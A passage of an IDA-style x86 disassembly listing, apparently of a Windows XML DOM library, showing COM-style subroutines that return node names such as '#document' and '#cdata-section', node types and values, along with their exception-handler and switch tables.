sub_69B40F7C proc near ; CODE XREF: sub_69B42C6C+58p
mov ecx, [ecx+1Ch]
mov eax, [ecx]
jmp dword ptr [eax+0B4h]
sub_69B40F7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B40F87 proc near ; CODE XREF: .text:69B43866j
; .text:69B4387Aj
; DATA XREF: ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B40FA1
mov eax, 80004005h
jmp short loc_69B40FE0
; ---------------------------------------------------------------------------
loc_69B40FA1: ; CODE XREF: sub_69B40F87+11j
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
push [ebp+arg_8]
mov ecx, [esi+1Ch]
push [ebp+arg_4]
push 0
push 0
push esi
push 0
call sub_69B1C04C
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, esi
pop esi
loc_69B40FE0: ; CODE XREF: sub_69B40F87+18j
pop ebx
leave
retn 0Ch
sub_69B40F87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B40FE5 proc near ; CODE XREF: Ordinal7+Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov esi, ecx
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B40FFF
mov eax, 80004005h
jmp short loc_69B41075
; ---------------------------------------------------------------------------
loc_69B40FFF: ; CODE XREF: sub_69B40FE5+11j
mov esi, [esi+1Ch]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov eax, [eax+4Ch]
cmp esi, eax
jnz short loc_69B4101B
mov eax, [ebp+arg_4]
or dword ptr [eax], 0FFFFFFFFh
jmp short loc_69B4106C
; ---------------------------------------------------------------------------
loc_69B4101B: ; CODE XREF: sub_69B40FE5+2Cj
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short loc_69B4102F
cmp [ecx+1Ch], esi
jnz short loc_69B4102F
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
jmp short loc_69B4106C
; ---------------------------------------------------------------------------
loc_69B4102F: ; CODE XREF: sub_69B40FE5+3Bj
; sub_69B40FE5+40j
mov ecx, [esi+8]
shr ecx, 17h
test cl, 1
jz short loc_69B4105C
mov esi, [esi+18h]
mov ecx, [ebp+arg_4]
mov eax, esi
shr eax, 0Ah
imul eax, 190h
and esi, 3FFh
lea eax, [eax+esi-190h]
mov [ecx], eax
jmp short loc_69B4106C
; ---------------------------------------------------------------------------
loc_69B4105C: ; CODE XREF: sub_69B40FE5+53j
mov ecx, esi
sub ecx, eax
mov eax, [ebp+arg_4]
mov [eax], ecx
mov ecx, esi
call sub_69B1DE55
loc_69B4106C: ; CODE XREF: sub_69B40FE5+34j
; sub_69B40FE5+48j ...
push edi
call dword_69B92944
xor eax, eax
loc_69B41075: ; CODE XREF: sub_69B40FE5+18j
pop edi
pop esi
pop ebp
retn 8
sub_69B40FE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4107B proc near ; CODE XREF: sub_69B43889+5j
; DATA XREF: .text:69B1250Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B41092
mov eax, 80004005h
jmp short loc_69B410F5
; ---------------------------------------------------------------------------
loc_69B41092: ; CODE XREF: sub_69B4107B+Ej
push esi
push 0
push [ebp+arg_14]
push [ebp+arg_10]
push 20h
push offset off_69B986D0
push [ebp+arg_C]
push [ebp+arg_8]
call sub_69B2CA1A
mov esi, eax
cmp esi, 80020006h
jnz short loc_69B410EB
mov eax, [ebp+arg_0]
mov eax, [eax+1Ch]
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
lea eax, [eax+eax*4]
lea eax, dword_69B98AF8[eax*8]
cmp dword ptr [eax+4], 0
jz short loc_69B410EB
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_69B2CF59
mov esi, eax
loc_69B410EB: ; CODE XREF: sub_69B4107B+3Aj
; sub_69B4107B+57j
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B410F5: ; CODE XREF: sub_69B4107B+15j
pop edi
pop ebp
retn 18h
sub_69B4107B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B410FA(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B410FA proc near ; DATA XREF: .text:69B27FD4o
arg_0 = dword ptr 8
strIn = dword ptr 0Ch
arg_8 = dword ptr 10h
psz2 = dword ptr 14h
push ebp
mov ebp, esp
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B41111
mov eax, 80004005h
jmp short loc_69B4117B
; ---------------------------------------------------------------------------
loc_69B41111: ; CODE XREF: sub_69B410FA+Ej
xor eax, eax
mov al, byte ptr [ebp+arg_8]
push esi
and eax, 0FFFFFF01h
push eax
push [ebp+psz2]
lea eax, [ebp+strIn]
push 409h
push 20h
push offset off_69B986D0
push 1
push eax
call sub_69B2CA1A
mov esi, eax
cmp esi, 80020006h
jnz short loc_69B41171
mov eax, [ebp+arg_0]
mov eax, [eax+4]
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
lea eax, [eax+eax*4]
lea eax, dword_69B98AF8[eax*8]
cmp dword ptr [eax+4], 0
jz short loc_69B41171
push [ebp+psz2] ; psz2
push [ebp+arg_8] ; int
push [ebp+strIn] ; strIn
push 0 ; char
push eax ; int
call sub_69B2CFAA
mov esi, eax
loc_69B41171: ; CODE XREF: sub_69B410FA+45j
; sub_69B410FA+62j
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B4117B: ; CODE XREF: sub_69B410FA+15j
pop edi
pop ebp
retn 10h
sub_69B410FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B41180 proc near ; CODE XREF: sub_69B43893+5j
; sub_69B56895+42p
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push ecx
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B4119B
mov eax, 80004005h
jmp locret_69B41228
; ---------------------------------------------------------------------------
loc_69B4119B: ; CODE XREF: sub_69B41180+Fj
push ebx
mov ebx, [ebp+arg_4]
cmp ebx, 5Dh
push esi
push edi
mov edi, 80020003h
jle short loc_69B411F5
cmp ebx, 8Fh
jge short loc_69B411F5
mov esi, [ebp+arg_0]
mov ecx, esi
call sub_69B3FC6D
mov ecx, [esi+1Ch]
movzx ecx, byte ptr [ecx+0Bh]
and ecx, 1Fh
lea esi, [ecx+ecx*4]
lea esi, dword_69B98AF8[esi*8]
cmp dword ptr [esi+4], 0
jz short loc_69B4121A
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push eax
call dword ptr [esi+24h]
push eax
push esi
jmp short loc_69B41213
; ---------------------------------------------------------------------------
loc_69B411F5: ; CODE XREF: sub_69B41180+29j
; sub_69B41180+31j
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
push offset dword_69B98AD4
loc_69B41213: ; CODE XREF: sub_69B41180+73j
call sub_69B2D258
mov edi, eax
loc_69B4121A: ; CODE XREF: sub_69B41180+55j
push [ebp+var_4]
call dword_69B92944
mov eax, edi
pop edi
pop esi
pop ebx
locret_69B41228: ; CODE XREF: sub_69B41180+16j
leave
retn 24h
sub_69B41180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4122C proc near ; CODE XREF: sub_69B59331+Cp
; DATA XREF: .text:69B12520o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B41246
mov eax, 80004005h
jmp short loc_69B4128B
; ---------------------------------------------------------------------------
loc_69B41246: ; CODE XREF: sub_69B4122C+11j
push esi
mov esi, [ebp+arg_0]
push esi
push edi
lea ecx, [ebp+var_10]
call sub_69B40E2F
mov eax, [esi+1Ch]
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
mov eax, dword_69B984E8[eax*4]
xor esi, esi
test eax, eax
jl short loc_69B41272
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_69B41279
; ---------------------------------------------------------------------------
loc_69B41272: ; CODE XREF: sub_69B4122C+3Dj
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
inc esi
loc_69B41279: ; CODE XREF: sub_69B4122C+44j
lea ecx, [ebp+var_10]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B4128B: ; CODE XREF: sub_69B4122C+18j
pop edi
leave
retn 8
sub_69B4122C endp
; =============== S U B R O U T I N E =======================================
sub_69B41290 proc near ; CODE XREF: sub_69B59345+Cp
; DATA XREF: .text:69B12514o
push 34h
push offset dword_69B41428
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B412B5
mov eax, 80004005h
jmp loc_69B4139D
; ---------------------------------------------------------------------------
loc_69B412B5: ; CODE XREF: sub_69B41290+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B412D3
mov ebx, 80070057h
jmp loc_69B4138A
; ---------------------------------------------------------------------------
loc_69B412D3: ; CODE XREF: sub_69B41290+37j
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
mov [ebp-38h], ebx
xor eax, eax
mov [ebp-3Ch], eax
xor edx, edx
mov dl, [ecx+0Bh]
and edx, 1Fh
dec edx
jz short loc_69B4133A
dec edx
jz short loc_69B41331
dec edx
jz short loc_69B41328
sub edx, 3
jz short loc_69B4131F
sub edx, 0Bh
jz short loc_69B41316
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov [ebp-40h], eax
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-3Ch], eax
jmp short loc_69B41341
; ---------------------------------------------------------------------------
loc_69B41316: ; CODE XREF: sub_69B41290+70j
mov dword ptr [ebp-38h], offset aDocumentFragme ; "#document-fragment"
jmp short loc_69B41341
; ---------------------------------------------------------------------------
loc_69B4131F: ; CODE XREF: sub_69B41290+6Bj
mov dword ptr [ebp-38h], offset aCdataSection ; "#cdata-section"
jmp short loc_69B41341
; ---------------------------------------------------------------------------
loc_69B41328: ; CODE XREF: sub_69B41290+66j
mov dword ptr [ebp-38h], offset aDocument ; "#document"
jmp short loc_69B41341
; ---------------------------------------------------------------------------
loc_69B41331: ; CODE XREF: sub_69B41290+63j
mov dword ptr [ebp-38h], offset aComment_0 ; "#comment"
jmp short loc_69B41341
; ---------------------------------------------------------------------------
loc_69B4133A: ; CODE XREF: sub_69B41290+60j
mov dword ptr [ebp-38h], offset aText_0 ; "#text"
loc_69B41341: ; CODE XREF: sub_69B41290+84j
; sub_69B41290+8Dj ...
cmp dword ptr [ebp-38h], 0
jz short loc_69B41352
push dword ptr [ebp-38h] ; OLECHAR *
call SysAllocString
jmp short loc_69B41362
; ---------------------------------------------------------------------------
loc_69B41352: ; CODE XREF: sub_69B41290+B5j
mov ecx, [eax+0Ch]
mov [ebp-44h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
loc_69B41362: ; CODE XREF: sub_69B41290+C0j
mov [edi], eax
jmp short loc_69B41386
; ---------------------------------------------------------------------------
loc_69B41366: ; DATA XREF: .text:69B4142Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4136F: ; DATA XREF: .text:69B41430o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B41386: ; CODE XREF: sub_69B41290+D4j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B4138A: ; CODE XREF: sub_69B41290+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B4139D: ; CODE XREF: sub_69B41290+20j
call sub_69B1853C
retn 8
sub_69B41290 endp
; ---------------------------------------------------------------------------
align 4
aText_0: ; DATA XREF: sub_69B41290:loc_69B4133Ao
unicode 0, <#text>,0
aComment_0: ; DATA XREF: sub_69B41290:loc_69B41331o
unicode 0, <#comment>,0
align 4
aDocument: ; DATA XREF: sub_69B41290:loc_69B41328o
unicode 0, <#document>,0
aCdataSection: ; DATA XREF: sub_69B41290:loc_69B4131Fo
unicode 0, <#cdata-section>,0
align 4
aDocumentFragme: ; DATA XREF: sub_69B41290:loc_69B41316o
unicode 0, <#document-fragment>,0
align 8
dword_69B41428 dd 0FFFFFFFFh dd offset loc_69B41366
dd offset loc_69B4136F
; =============== S U B R O U T I N E =======================================
sub_69B41434 proc near ; CODE XREF: sub_69B59359+Cp
; DATA XREF: .text:69B12518o
push 30h
push offset dword_69B41548
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B41457
mov eax, 80004005h
jmp loc_69B4151C
; ---------------------------------------------------------------------------
loc_69B41457: ; CODE XREF: sub_69B41434+17j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
and dword ptr [ebp-30h], 0
mov esi, [ebp+0Ch]
test esi, esi
jnz short loc_69B4147B
mov dword ptr [ebp-30h], 80070057h
jmp loc_69B41508
; ---------------------------------------------------------------------------
loc_69B4147B: ; CODE XREF: sub_69B41434+39j
xor ebx, ebx
inc ebx
mov [esi], bx
xor eax, eax
mov [esi+8], eax
mov [ebp-4], eax
mov ecx, [edi+1Ch]
mov [ebp-34h], ecx
mov [ebp-38h], ecx
mov [ebp-3Ch], eax
xor edx, edx
mov dl, [ecx+0Bh]
and edx, 1Fh
cmp edx, 12h ; switch 19 cases
ja short loc_69B414C0 ; default
; jumptable 69B414A9 cases 9,10,12-14
movzx edx, ds:byte_69B41530[edx]
jmp ds:off_69B41524[edx*4] ; switch jump
loc_69B414B0: ; DATA XREF: .text:off_69B41524o
mov [esi], bx ; jumptable 69B414A9 cases 0,3,4,7,8,11,16,17
jmp short loc_69B414C0 ; default
; jumptable 69B414A9 cases 9,10,12-14
; ---------------------------------------------------------------------------
loc_69B414B5: ; CODE XREF: sub_69B41434+75j
; DATA XREF: .text:off_69B41524o
push ebx ; jumptable 69B414A9 cases 1,2,5,6,15,18
push ebx
push ebx
call sub_69B4AAFC
mov [ebp-3Ch], eax
loc_69B414C0: ; CODE XREF: sub_69B41434+6Cj
; sub_69B41434+75j ...
test eax, eax ; default
; jumptable 69B414A9 cases 9,10,12-14
jz short loc_69B414DE
mov word ptr [esi], 8
mov ecx, [eax+0Ch]
mov [ebp-40h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi+8], eax
jmp short loc_69B41504
; ---------------------------------------------------------------------------
loc_69B414DE: ; CODE XREF: sub_69B41434+8Ej
mov [ebp-30h], ebx
jmp short loc_69B41504
; ---------------------------------------------------------------------------
loc_69B414E3: ; DATA XREF: .text:69B4154Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B414EC: ; DATA XREF: .text:69B41550o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B41504: ; CODE XREF: sub_69B41434+A8j
; sub_69B41434+ADj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41508: ; CODE XREF: sub_69B41434+42j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B4151C: ; CODE XREF: sub_69B41434+1Ej
call sub_69B1853C
retn 8
sub_69B41434 endp
; ---------------------------------------------------------------------------
off_69B41524 dd offset loc_69B414B0 ; DATA XREF: sub_69B41434+75r
dd offset loc_69B414B5 ; jump table for switch statement
dd offset loc_69B414C0
byte_69B41530 db 0, 1, 1, 0 ; DATA XREF: sub_69B41434+6Er
db 0, 1, 1, 0 ; indirect table for switch statement
db 0, 2, 2, 0
db 2, 2, 2, 1
db 0, 0, 1
align 8
dword_69B41548 dd 0FFFFFFFFh dd offset loc_69B414E3
dd offset loc_69B414EC
; =============== S U B R O U T I N E =======================================
sub_69B41554 proc near ; CODE XREF: sub_69B5936D+17p
; DATA XREF: .text:69B1251Co
push 40h
push offset dword_69B41670
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B41592
mov esi, [ebp+8]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B4159C
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B41592: ; CODE XREF: sub_69B41554+1Bj
mov eax, 80004005h
jmp loc_69B41668
; ---------------------------------------------------------------------------
loc_69B4159C: ; CODE XREF: sub_69B41554+2Dj
mov word ptr [ebp-40h], 1
push 8 ; vt
push ebx ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-40h]
push eax ; pvargDest
call VariantChangeTypeEx
mov edi, eax
cmp edi, ebx
jnz loc_69B4164B
mov [ebp-4], ebx
mov eax, [esi+1Ch]
mov [ebp-44h], eax
mov [ebp-48h], eax
xor ecx, ecx
mov cl, [eax+0Bh]
and ecx, 1Fh
xor edx, edx
inc edx
shl edx, cl
mov ecx, eax
test dx, 8066h
jz short loc_69B4160C
call sub_69B48CEA
mov eax, [ebp-38h]
mov [ebp-4Ch], eax
mov esi, [esi+1Ch]
mov [ebp-50h], esi
push ebx
push eax ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push dword ptr [ebp-4Ch]
mov ecx, esi
call sub_69B4CD25
jmp short loc_69B41647
; ---------------------------------------------------------------------------
loc_69B4160C: ; CODE XREF: sub_69B41554+90j
push ebx
call sub_69B481AF
push eax
push 0C00CE208h
push 80004005h
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B41647
; ---------------------------------------------------------------------------
loc_69B41627: ; DATA XREF: .text:69B41674o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41630: ; DATA XREF: .text:69B41678o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B41647: ; CODE XREF: sub_69B41554+B6j
; sub_69B41554+D1j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B4164B: ; CODE XREF: sub_69B41554+6Aj
lea eax, [ebp-40h]
push eax ; pvarg
call VariantClear
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B41668: ; CODE XREF: sub_69B41554+43j
call sub_69B1853C
retn 14h
sub_69B41554 endp
; ---------------------------------------------------------------------------
dword_69B41670 dd 0FFFFFFFFh dd offset loc_69B41627
dd offset loc_69B41630
; =============== S U B R O U T I N E =======================================
sub_69B4167C proc near ; CODE XREF: sub_69B5938E+Cp
; DATA XREF: .text:69B12524o
push 24h
push offset dword_69B41768
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B416A1
mov eax, 80004005h
jmp loc_69B4175E
; ---------------------------------------------------------------------------
loc_69B416A1: ; CODE XREF: sub_69B4167C+19j
mov edx, [ebp+8]
mov esi, [edx+1Ch]
mov [ebp-20h], edi
mov ecx, [esi+8]
mov eax, ecx
shr eax, 18h
and eax, 1Fh
cmp dword ptr [ebp+0Ch], 0
jnz short loc_69B416C2
mov edi, 80070057h
jmp short loc_69B41740
; ---------------------------------------------------------------------------
loc_69B416C2: ; CODE XREF: sub_69B4167C+3Dj
cmp eax, 0Fh
jnz short loc_69B416DD
shr ecx, 0Dh
not cl
test cl, 1
jz short loc_69B41740
mov ecx, [esi+0Ch]
test byte ptr [ecx+0ECh], 8
jz short loc_69B41740
loc_69B416DD: ; CODE XREF: sub_69B4167C+49j
cmp eax, 3
jz short loc_69B41740
cmp eax, 11h
jz short loc_69B41740
push edx
push dword ptr [ebp-1Ch]
lea ecx, [ebp-30h]
call sub_69B40E2F
and dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov ecx, eax
mov [ebp-34h], ecx
test ecx, ecx
jz short loc_69B41734
call sub_69B48B01
mov [ebp-20h], eax
jmp short loc_69B41734
; ---------------------------------------------------------------------------
loc_69B41714: ; DATA XREF: .text:69B4176Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4171D: ; DATA XREF: .text:69B41770o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B41734: ; CODE XREF: sub_69B4167C+8Cj
; sub_69B4167C+96j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B18EBA
loc_69B41740: ; CODE XREF: sub_69B4167C+44j
; sub_69B4167C+53j ...
test edi, edi
jl short loc_69B41753
mov eax, [ebp-20h]
test eax, eax
jnz short loc_69B4174E
xor edi, edi
inc edi
loc_69B4174E: ; CODE XREF: sub_69B4167C+CDj
mov ecx, [ebp+0Ch]
mov [ecx], eax
loc_69B41753: ; CODE XREF: sub_69B4167C+C6j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B4175E: ; CODE XREF: sub_69B4167C+20j
call sub_69B1853C
retn 8
sub_69B4167C endp
; ---------------------------------------------------------------------------
align 4
dword_69B41768 dd 0FFFFFFFFh dd offset loc_69B41714
dd offset loc_69B4171D
; =============== S U B R O U T I N E =======================================
sub_69B41774 proc near ; CODE XREF: sub_69B594F3+Cp
; DATA XREF: .text:69B12568o
push 28h
push offset dword_69B41830
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B41797
mov eax, 80004005h
jmp loc_69B41823
; ---------------------------------------------------------------------------
loc_69B41797: ; CODE XREF: sub_69B41774+17j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov ecx, [ebp+0Ch]
test ecx, ecx
jnz short loc_69B417B2
mov esi, 80070057h
jmp short loc_69B41810
; ---------------------------------------------------------------------------
loc_69B417B2: ; CODE XREF: sub_69B41774+35j
and dword ptr [ebp-4], 0
mov eax, [esi+1Ch]
mov [ebp-30h], eax
mov [ebp-34h], eax
mov eax, [eax+8]
mov edx, eax
and edx, 1F000000h
cmp edx, 0F000000h
jnz short loc_69B417E1
shr eax, 0Dh
not al
test al, 1
jnz short loc_69B417E1
and word ptr [ecx], 0
jmp short loc_69B417E5
; ---------------------------------------------------------------------------
loc_69B417E1: ; CODE XREF: sub_69B41774+5Cj
; sub_69B41774+65j
or word ptr [ecx], 0FFFFh
loc_69B417E5: ; CODE XREF: sub_69B41774+6Bj
xor esi, esi
mov [ebp-38h], esi
jmp short loc_69B4180C
; ---------------------------------------------------------------------------
loc_69B417EC: ; DATA XREF: .text:69B41834o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B417F5: ; DATA XREF: .text:69B41838o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B4180C: ; CODE XREF: sub_69B41774+76j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41810: ; CODE XREF: sub_69B41774+3Cj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B41823: ; CODE XREF: sub_69B41774+1Ej
call sub_69B1853C
retn 8
sub_69B41774 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B41830 dd 0FFFFFFFFh dd offset loc_69B417EC
dd offset loc_69B417F5
; =============== S U B R O U T I N E =======================================
sub_69B4183C proc near ; CODE XREF: sub_69B593B6+Cp
; DATA XREF: .text:69B1252Co
push 28h
push offset dword_69B418F0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B4185F
mov eax, 80004005h
jmp loc_69B418E4
; ---------------------------------------------------------------------------
loc_69B4185F: ; CODE XREF: sub_69B4183C+17j
xor ebx, ebx
mov eax, [ebp+8]
mov esi, [eax+1Ch]
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B41875
mov ebx, 80070057h
jmp short loc_69B418D9
; ---------------------------------------------------------------------------
loc_69B41875: ; CODE XREF: sub_69B4183C+30j
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-2Ch]
call sub_69B40E2F
and dword ptr [ebp-4], 0
lea eax, [ebp-30h]
push eax
mov ecx, esi
call sub_69B49F0B
mov ecx, eax
mov [ebp-34h], ecx
test ecx, ecx
jz short loc_69B418A2
call sub_69B48B01
mov [edi], eax
jmp short loc_69B418CD
; ---------------------------------------------------------------------------
loc_69B418A2: ; CODE XREF: sub_69B4183C+5Bj
and dword ptr [edi], 0
xor ebx, ebx
inc ebx
mov [ebp-38h], ebx
jmp short loc_69B418CD
; ---------------------------------------------------------------------------
loc_69B418AD: ; DATA XREF: .text:69B418F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B418B6: ; DATA XREF: .text:69B418F8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B418CD: ; CODE XREF: sub_69B4183C+64j
; sub_69B4183C+6Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
loc_69B418D9: ; CODE XREF: sub_69B4183C+37j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B418E4: ; CODE XREF: sub_69B4183C+1Ej
call sub_69B1853C
retn 8
sub_69B4183C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B418F0 dd 0FFFFFFFFh dd offset loc_69B418AD
dd offset loc_69B418B6
; =============== S U B R O U T I N E =======================================
sub_69B418FC proc near ; CODE XREF: sub_69B593CA+Cp
; DATA XREF: .text:69B12530o
push 24h
push offset dword_69B419A8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B4191F
mov eax, 80004005h
jmp loc_69B419A0
; ---------------------------------------------------------------------------
loc_69B4191F: ; CODE XREF: sub_69B418FC+17j
xor ebx, ebx
mov eax, [ebp+8]
mov esi, [eax+1Ch]
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B41935
mov ebx, 80070057h
jmp short loc_69B41995
; ---------------------------------------------------------------------------
loc_69B41935: ; CODE XREF: sub_69B418FC+30j
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-2Ch]
call sub_69B40E2F
and dword ptr [ebp-4], 0
mov ecx, esi
call sub_69B49E98
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz short loc_69B4195E
call sub_69B48B01
mov [edi], eax
jmp short loc_69B41989
; ---------------------------------------------------------------------------
loc_69B4195E: ; CODE XREF: sub_69B418FC+57j
and dword ptr [edi], 0
xor ebx, ebx
inc ebx
mov [ebp-34h], ebx
jmp short loc_69B41989
; ---------------------------------------------------------------------------
loc_69B41969: ; DATA XREF: .text:69B419ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41972: ; DATA XREF: .text:69B419B0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B41989: ; CODE XREF: sub_69B418FC+60j
; sub_69B418FC+6Bj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
loc_69B41995: ; CODE XREF: sub_69B418FC+37j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B419A0: ; CODE XREF: sub_69B418FC+1Ej
call sub_69B1853C
retn 8
sub_69B418FC endp
; ---------------------------------------------------------------------------
dword_69B419A8 dd 0FFFFFFFFh dd offset loc_69B41969
dd offset loc_69B41972
; =============== S U B R O U T I N E =======================================
